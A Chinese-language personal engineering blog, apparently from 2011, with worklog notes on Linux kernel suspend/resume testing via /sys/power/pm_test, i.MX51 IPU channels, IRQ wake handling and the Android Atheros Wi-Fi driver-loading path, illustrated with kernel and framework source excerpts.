//ipu_disable_channel(MEM_VDI_PRP_VF_MEM_P, true);
//ipu_uninit_channel (MEM_VDI_PRP_VF_MEM_P);
ipu_disable_channel(MEM_VDI_PRP_VF_MEM, true);
ipu_uninit_channel (MEM_VDI_PRP_VF_MEM);
//ipu_disable_channel(MEM_VDI_PRP_VF_MEM_N,true);
發現 MEM_VDI_PRP_VF_MEM 才是重點。
MEM_VDI_PRP_VF_MEM/_P/_N 這三個 channel 是在 mxc_v4l2_streamon 時,init_VDI_channel 的時候 init。
因為是 interlaced ,所以會額外 init _P/_N 這兩個 channel。
在 mxc_v4l2out_streamoff 時,會把這三個 channel disable。
Suspend Test funtions in Kernel
Power manager options
[*] Power Management Debug Support
[*] Verbose Power Management debugging
[*] Suspend to RAM and standby
[*] Test suspend/resume and walealarm during bootup
上面幾個 option 打開。這樣 config 就會有
CONFIG_PM_DEBUG=y
CONFIG_PM_VREBOSE=y
CONFIG_PM_TEST_SUSPEND=y
這樣,在 kernel/power 下
main.c:
static struct attribute * g[] = {
&state_attr.attr,
#ifdef CONFIG_PM_TRACE
&pm_trace_attr.attr,
#endif
#ifdef CONFIG_SUSPEND_DEVICE_TIME_DEBUG
&device_suspend_time_threshold_attr.attr,
#endif
#ifdef CONFIG_PM_SLEEP
&pm_async_attr.attr,
#ifdef CONFIG_PM_DEBUG
&pm_test_attr.attr,
#endif
#ifdef CONFIG_USER_WAKELOCK
&wake_lock_attr.attr,
&wake_unlock_attr.attr,
#endif
#endif
NULL,
};
可以看到每個 option 增加的 entry.
CONFIG_PM_DEBUG,就會有 pm_test_attr 這個 entry
宣告的 pm_test_attr 有:
#ifdef CONFIG_PM_DEBUG
int pm_test_level = TEST_NONE;
static const char * const pm_tests[__TEST_AFTER_LAST] = {
[TEST_NONE] = "none",
[TEST_CORE] = "core",
[TEST_CPUS] = "processors",
[TEST_PLATFORM] = "platform",
[TEST_DEVICES] = "devices",
[TEST_FREEZER] = "freezer",
};
static ssize_t pm_test_show(struct kobject *kobj, struct kobj_attribute *attr,
char *buf)
{
char *s = buf;
int level;
for (level = TEST_FIRST; level <= TEST_MAX; level++)
if (pm_tests[level]) {
if (level == pm_test_level)
s += sprintf(s, "[%s] ", pm_tests[level]);
else
s += sprintf(s, "%s ", pm_tests[level]);
}
if (s != buf)
/* convert the last space to a newline */
*(s-1) = '\n';
return (s - buf);
}
static ssize_t pm_test_store(struct kobject *kobj, struct kobj_attribute *attr,
const char *buf, size_t n)
{
const char * const *s;
int level;
char *p;
int len;
int error = -EINVAL;
p = memchr(buf, '\n', n);
len = p ? p - buf : n;
mutex_lock(&pm_mutex);
level = TEST_FIRST;
for (s = &pm_tests[level]; level <= TEST_MAX; s++, level++)
if (*s && len == strlen(*s) && !strncmp(buf, *s, len)) {
pm_test_level = level;
error = 0;
break;
}
mutex_unlock(&pm_mutex);
return error ? error : n;
}
power_attr(pm_test);
#endif /* CONFIG_PM_DEBUG */
所以在 /sys/power 下會多一個 pm_test。 cat 出來會是
none core processors platform devices freezser
這個功能是用來測試 suspend/resume 的。
從 source code : kernel/power/suspend.c
static int suspend_enter(suspend_state_t state)
{
.....
if (suspend_test(TEST_PLATFORM))
goto Platform_wake;
error = disable_nonboot_cpus();
if (error || suspend_test(TEST_CPUS))
goto Enable_cpus;
arch_suspend_disable_irqs();
BUG_ON(!irqs_disabled());
error = sysdev_suspend(PMSG_SUSPEND);
if (!error) {
if (!suspend_test(TEST_CORE))
error = suspend_ops->enter(state);
sysdev_resume();
}
...
和 suspend_test( ) function :
static int suspend_test(int level)
{
#ifdef CONFIG_PM_DEBUG
if (pm_test_level == level) {
printk(KERN_INFO "suspend debug: Waiting for 5 seconds.\n");
mdelay(5000);
return 1;
}
#endif /* !CONFIG_PM_DEBUG */
return 0;
}
可以看到, core, processors, platform, devices, freezer 各是不同的 suspend level。利用 suspend_test( ) 可以讓 suspend 在不同 level 後 resume。
所以可以用來坐測試。
使用方法就是在 console 把要 test 的 level 寫入 /sys/power/pm_test 中。
#echo core > /sys/power/pm_test
然後再 trigger suspend...
就會看到 suspend 後 5 sec 就自己 wakeup 了
2011年8月5日 星期五
mc13892 是給 embedded controller 用的 power controller。
支援 suspend mode 的操作。
支援的方式,是利用 hardware pin.
每一組 voltage output 都可以program 成:
1. always enable
2. depend on hardware in
3. off
ref: http://www.embeddeddesignindia.co.in/STATIC/PDF/200906/EDIOL_2009JUN22_CORE_AN_01.pdf?SOURCES=DOWNLOAD
http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=MC13892&tab=Documentation_Tab&pspll=1&SelectedAsset=Documentation&ProdMetaId=PID/DC/MC13892&fromPSP=true&assetLockedForNavigation=true&componentId=2&leftNavCode=1&pageSize=25&Documentation=Documentation/00210KscRcb``Application%20Notes&fpsp=1&linkline=Application%20Notes
ref: http://www.embeddeddesignindia.co.in/STATIC/PDF/200906/EDIOL_2009JUN22_CORE_AN_01.pdf?SOURCES=DOWNLOAD
http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=MC13892&tab=Documentation_Tab&pspll=1&SelectedAsset=Documentation&ProdMetaId=PID/DC/MC13892&fromPSP=true&assetLockedForNavigation=true&componentId=2&leftNavCode=1&pageSize=25&Documentation=Documentation/00210KscRcb``Application%20Notes&fpsp=1&linkline=Application%20Notes
Editor : Geany : Change Editor's Color scheme
Geany Editor Window 的 color scheme 沒辦法在 Preference 中 設定。
要用設定檔的方式來作。
要改 color scheme:
1.Download 你要的 color scheme files.
2.放到 .config/geany/filedefs
這樣就可以。
他門是建議用 link 的方式來作,這樣就可以放很多 color scheme,然後用 ln -s 決定要用哪一個。
ref:
ref:
kernel, suspend - pm.c : interface of module and kernel
在 commit log 中找與 suspend config 有關的 commit。
pm.c 好像是專屬的 power manager module,雖然結構跟一般的 module 一樣,device, driver 兩個,用
init, exit 插入 kernel symbol list。
但是在 init 時,使用的是
implement 在 ./kernel/power/suspend.c
這個 structure 宣告在 include/linux/suspend.h
這個 suspend .c 很有趣,就是依照著 platform_suspend_ops 裡面的 function pointer,依照需要的時間來執行。 就是一個 kernel 的 interface 而已。
git log --grep="suspend"
找到 arch 裡的 pm.c pm.c 好像是專屬的 power manager module,雖然結構跟一般的 module 一樣,device, driver 兩個,用
init, exit 插入 kernel symbol list。
但是在 init 時,使用的是
suspend_set_ops
implement 在 ./kernel/power/suspend.c
static struct platform_suspend_ops *suspend_ops;
void suspend_set_ops(struct platform_suspend_ops *ops)
{
mutex_lock(&pm_mutex);
suspend_ops = ops;
mutex_unlock(&pm_mutex);
}
這個 structure 宣告在 include/linux/suspend.h
struct platform_suspend_ops {
int (*valid)(suspend_state_t state);
int (*begin)(suspend_state_t state);
int (*prepare)(void);
int (*prepare_late)(void);
int (*enter)(suspend_state_t state);
void (*wake)(void);
void (*finish)(void);
void (*end)(void);
void (*recover)(void);
};
這個 suspend .c 很有趣,就是依照著 platform_suspend_ops 裡面的 function pointer,依照需要的時間來執行。 就是一個 kernel 的 interface 而已。
2011年8月4日 星期四
linux source : irq
include/linux/interrupt.h:
extern int set_irq_wake(unsigned int irq, unsigned int on);
static inline int enable_irq_wake(unsigned int irq)
{
return set_irq_wake(irq, 1);
}
static inline int disable_irq_wake(unsigned int irq)
{
return set_irq_wake(irq, 0);
}
在 kernel/irq/manager.c:
/**
* set_irq_wake - control irq power management wakeup
* @irq: interrupt to control
* @on: enable/disable power management wakeup
*
* Enable/disable power management wakeup mode, which is
* disabled by default. Enables and disables must match,
* just as they match for non-wakeup mode support.
*
* Wakeup mode lets this IRQ wake the system from sleep
* states like "suspend to RAM".
*/
int set_irq_wake(unsigned int irq, unsigned int on)
{
struct irq_desc *desc = irq_to_desc(irq);
unsigned long flags;
int ret = 0;
/* wakeup-capable irqs can be shared between drivers that
* don't need to have the same sleep mode behaviors.
*/
raw_spin_lock_irqsave(&desc->lock, flags);
if (on) {
if (desc->wake_depth++ == 0) {
ret = set_irq_wake_real(irq, on);
if (ret)
desc->wake_depth = 0;
else
desc->status |= IRQ_WAKEUP;
}
} else {
if (desc->wake_depth == 0) {
WARN(1, "Unbalanced IRQ %d wake disable\n", irq);
} else if (--desc->wake_depth == 0) {
ret = set_irq_wake_real(irq, on);
if (ret)
desc->wake_depth = 1;
else
desc->status &= ~IRQ_WAKEUP;
}
}
raw_spin_unlock_irqrestore(&desc->lock, flags);
return ret;
}
那個irq_to_desc,在 kernel/irq/handle.c.
struct irq_desc *irq_to_desc(unsigned int irq)
{
return (irq < NR_IRQS) ? irq_desc + irq : NULL;
}
那個 irq_desc 是宣告成:
struct irq_desc irq_desc[NR_IRQS] __cacheline_aligned_in_smp = {
[0 ... NR_IRQS-1] = {
.status = IRQ_DISABLED,
.chip = &no_irq_chip,
.handle_irq = handle_bad_irq,
.depth = 1,
.lock = __RAW_SPIN_LOCK_UNLOCKED(irq_desc->lock),
}
};
這個 irq_struct 宣告在 include/linux/irq.h
/**
* struct irq_desc - interrupt descriptor
* @irq: interrupt number for this descriptor
* @timer_rand_state: pointer to timer rand state struct
* @kstat_irqs: irq stats per cpu
* @irq_2_iommu: iommu with this irq
* @handle_irq: highlevel irq-events handler [if NULL, __do_IRQ()]
* @chip: low level interrupt hardware access
* @msi_desc: MSI descriptor
* @handler_data: per-IRQ data for the irq_chip methods
* @chip_data: platform-specific per-chip private data for the chip
* methods, to allow shared chip implementations
* @action: the irq action chain
* @status: status information
* @depth: disable-depth, for nested irq_disable() calls
* @wake_depth: enable depth, for multiple set_irq_wake() callers
* @irq_count: stats field to detect stalled irqs
* @last_unhandled: aging timer for unhandled count
* @irqs_unhandled: stats field for spurious unhandled interrupts
* @lock: locking for SMP
* @affinity: IRQ affinity on SMP
* @node: node index useful for balancing
* @pending_mask: pending rebalanced interrupts
* @threads_active: number of irqaction threads currently running
* @wait_for_threads: wait queue for sync_irq to wait for threaded handlers
* @dir: /proc/irq/ procfs entry
* @name: flow handler name for /proc/interrupts output
*/
struct irq_desc {
unsigned int irq;
struct timer_rand_state *timer_rand_state;
unsigned int *kstat_irqs;
#ifdef CONFIG_INTR_REMAP
struct irq_2_iommu *irq_2_iommu;
#endif
irq_flow_handler_t handle_irq;
struct irq_chip *chip;
struct msi_desc *msi_desc;
void *handler_data;
void *chip_data;
struct irqaction *action; /* IRQ action list */
unsigned int status; /* IRQ status */
unsigned int depth; /* nested irq disables */
unsigned int wake_depth; /* nested wake enables */
unsigned int irq_count; /* For detecting broken IRQs */
unsigned long last_unhandled; /* Aging timer for unhandled count */
unsigned int irqs_unhandled;
raw_spinlock_t lock;
#ifdef CONFIG_SMP
cpumask_var_t affinity;
const struct cpumask *affinity_hint;
unsigned int node;
#ifdef CONFIG_GENERIC_PENDING_IRQ
cpumask_var_t pending_mask;
#endif
#endif
atomic_t threads_active;
wait_queue_head_t wait_for_threads;
#ifdef CONFIG_PROC_FS
struct proc_dir_entry *dir;
#endif
const char *name;
} ____cacheline_internodealigned_in_smp;
2011年8月2日 星期二
worklog - android atheros sd wifi
在 BoardConfig.mk 定義:
從 每個 folder 的 Android.mk 來看,開頭
啟動 wifi
在 Setting - Wireless and networks 把Wi-Fi check 後。
package setting 下的 WifiEnabler.java : onPreferenceChange( ),有
WifiManger 的 code: ./frameworks/base/wifi/java/android/net/wifi/WifiManager.java
之後 call 的 WifiManger.setWifiEnabled( ) : 只是一個 seriver 的包裝
IWifiManger 的 sponser server 是 WifiService : framework/android/server/WifiService:
WifiService 的 setWifiEnabled() :
實際 implement wifi_load_driver( ) 的在 : hardware/libhardware_legacy/wifi
wifi.c 的 wifi_load_driver 其實很普通,就是用 insmod load driver.
WPA_SUPPLICANT_VERSION := VER_0_6_ATHEROS
然後在 external 下有三個 wpa_supplicant :
- wpa_supplicant
- wpa_supplicant_6
- wpa_supplicant_ath
從 每個 folder 的 Android.mk 來看,開頭
ifeq ($(WPA_SUPPLICANT_VERSION),VER_0_5_X)
這樣決定- wpa_supplicant : VER_0_5_X
- wpa_supplicant_6 : VER_0_6_X
- wpa_supplicant_ath : VER_0_6_ATHEROS
啟動 wifi
在 Setting - Wireless and networks 把Wi-Fi check 後。
package setting 下的 WifiEnabler.java : onPreferenceChange( ),有
int wifiApState = mWifiManager.getWifiApState();
...
if (mWifiManager.setWifiEnabled(enable)) {
其中的 mWifiManager 是 system service wrapper class:
mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
WifiManger 的 code: ./frameworks/base/wifi/java/android/net/wifi/WifiManager.java
之後 call 的 WifiManger.setWifiEnabled( ) : 只是一個 seriver 的包裝
public boolean setWifiEnabled(boolean enabled) {
try {
return mService.setWifiEnabled(enabled);
} catch (RemoteException e) {
return false;
}
}
mService 是 IBinder interface :
public WifiManager(IWifiManager service, Handler handler) {
mService = service;
mHandler = handler;
}
IWifiManager 是 (Binder interface): IWifiManager.aidlIWifiManger 的 sponser server 是 WifiService : framework/android/server/WifiService:
public class WifiService extends IWifiManager.Stub {
WifiService 的 setWifiEnabled() :
sendEnableMessage(enable, true, Binder.getCallingUid());
sendEnableMessage()
private void sendEnableMessage(boolean enable, boolean persist, int uid) {
Message msg = Message.obtain(mWifiHandler,
(enable ? MESSAGE_ENABLE_WIFI : MESSAGE_DISABLE_WIFI),
(persist ? 1 : 0), uid);
msg.sendToTarget();
}
這個 message 的 hanelder:
public void handleMessage(Message msg) {
switch (msg.what) {
case MESSAGE_ENABLE_WIFI:
setWifiEnabledBlocking(true, msg.arg1 == 1, msg.arg2);
所以是 setWifiEnabledBlocking : 這個做了 wifi driver loading, connect to wpa.. etc
private boolean setWifiEnabledBlocking(boolean enable, boolean persist, int uid) {
....
if (enable) {
if (!mWifiStateTracker.loadDriver()) {
Slog.e(TAG, "Failed to load Wi-Fi driver.");
setWifiEnabledState(WIFI_STATE_UNKNOWN, uid);
return false;
}
if (!mWifiStateTracker.startSupplicant()) {
mWifiStateTracker.unloadDriver();
Slog.e(TAG, "Failed to start supplicant daemon.");
setWifiEnabledState(WIFI_STATE_UNKNOWN, uid);
return false;
WifiStateTracker 在 framework/base/wifi ...
public synchronized boolean loadDriver() {
return WifiNative.loadDriver();
}
call 到 jni : framework/base/core/jni/android_net_wifi_Wifi.cpp ,這只是 call 到 c code 的 wrapper。實際 implement wifi_load_driver( ) 的在 : hardware/libhardware_legacy/wifi
wifi.c 的 wifi_load_driver 其實很普通,就是用 insmod load driver.
if (insmod(DRIVER_MODULE_PATH, DRIVER_MODULE_ARG) < 0)
driver name, path, argument 都是寫在 Android.mk 裡:
WIFI_DRIVER_MODULE_PATH := "/system/lib/modules/ar6000.ko"
WIFI_DRIVER_MODULE_ARG := ""
WIFI_DRIVER_MODULE_NAME := "ar6000"
標籤
- 3g (19)
- 工作的備worklog (93)
- 自言自語 (36)
- 草稿 (1)
- 亂亂寫 (8)
- 翻譯 (3)
- administration (76)
- alsa (7)
- android (299)
- apple (5)
- application (42)
- archlinux (1)
- audio (3)
- avr (6)
- backup_restore (2)
- bluetooth (5)
- bookmark (38)
- bootloader (21)
- browser (5)
- cellphone (28)
- command (8)
- Configuration (27)
- debug (7)
- django (1)
- driver (15)
- earphone (1)
- editor (1)
- EFL (1)
- ffmpeg (18)
- Filesystem (4)
- GCC (8)
- Gentoo (1)
- google (1)
- Graphic (3)
- hardware (40)
- hero (7)
- hibernation (9)
- iMX51 (38)
- Info (3)
- Install (30)
- java (4)
- Kernel (102)
- language (2)
- life (2)
- make (11)
- MantainLog (38)
- MCU_P (9)
- memo (8)
- microcontroller (3)
- MINGW (7)
- network (19)
- OpenCL (1)
- OS (11)
- package (3)
- pad (1)
- ProblemAndSolve (15)
- programming (8)
- Python (7)
- raspberry_pi (23)
- SDL (2)
- sensation (13)
- setup (3)
- software_package (36)
- SQL (1)
- suspend (2)
- ToDo (5)
- tool (3)
- ubuntu (1)
- VersionControl (45)
- Virtualization (15)
- VLC (5)
- wheezy (1)
- wifi (3)
- Windows (16)
- xiaomi (1)
- xperia (1)
網誌存檔
-
▼
2011
(244)
-
▼
8月
(27)
- http://crazydaks.com/debugging-in-android-with-tom...
- 在FramebufferNativeWindow.cpp : FramebufferNativeW...
- iMX51 : display. fb & overlay
- onAudioFocusChange
- Android 程式系統
- c string function : strspn 比較字串..
- subversion with proxy, for servers outside
- camera interface, output & de-interlace
- Sony Ericsson opensource site
- Input keyevent : send key by command
- more root source : z4root
- Another root program psneuter
- Android : superuser.apk & su
- android root program : exploid
- 這一段 不錯,紀錄一下,有空再trace..
- postcore_initcall bus_register
- ipu 的部份,suspend 時存起來的 register: /* save double ...
- Android configuration change -- additional Make rules
- Xperia X10 mini pro : PC company download location
- ./include/linux/ipu.h:148:#define IPU_CHAN_ID(ch) ...
- LF - html mode 有作用嗎? 換兩行? br 有效 pre: 大於符...
- Suspend Test funtions in Kernel
- mc13892 是給 embedded controller 用的 power controller...
- Editor : Geany : Change Editor's Color scheme
- kernel, suspend - pm.c : interface of module and ...
- linux source : irq
- worklog - android atheros sd wifi
-
▼
8月
(27)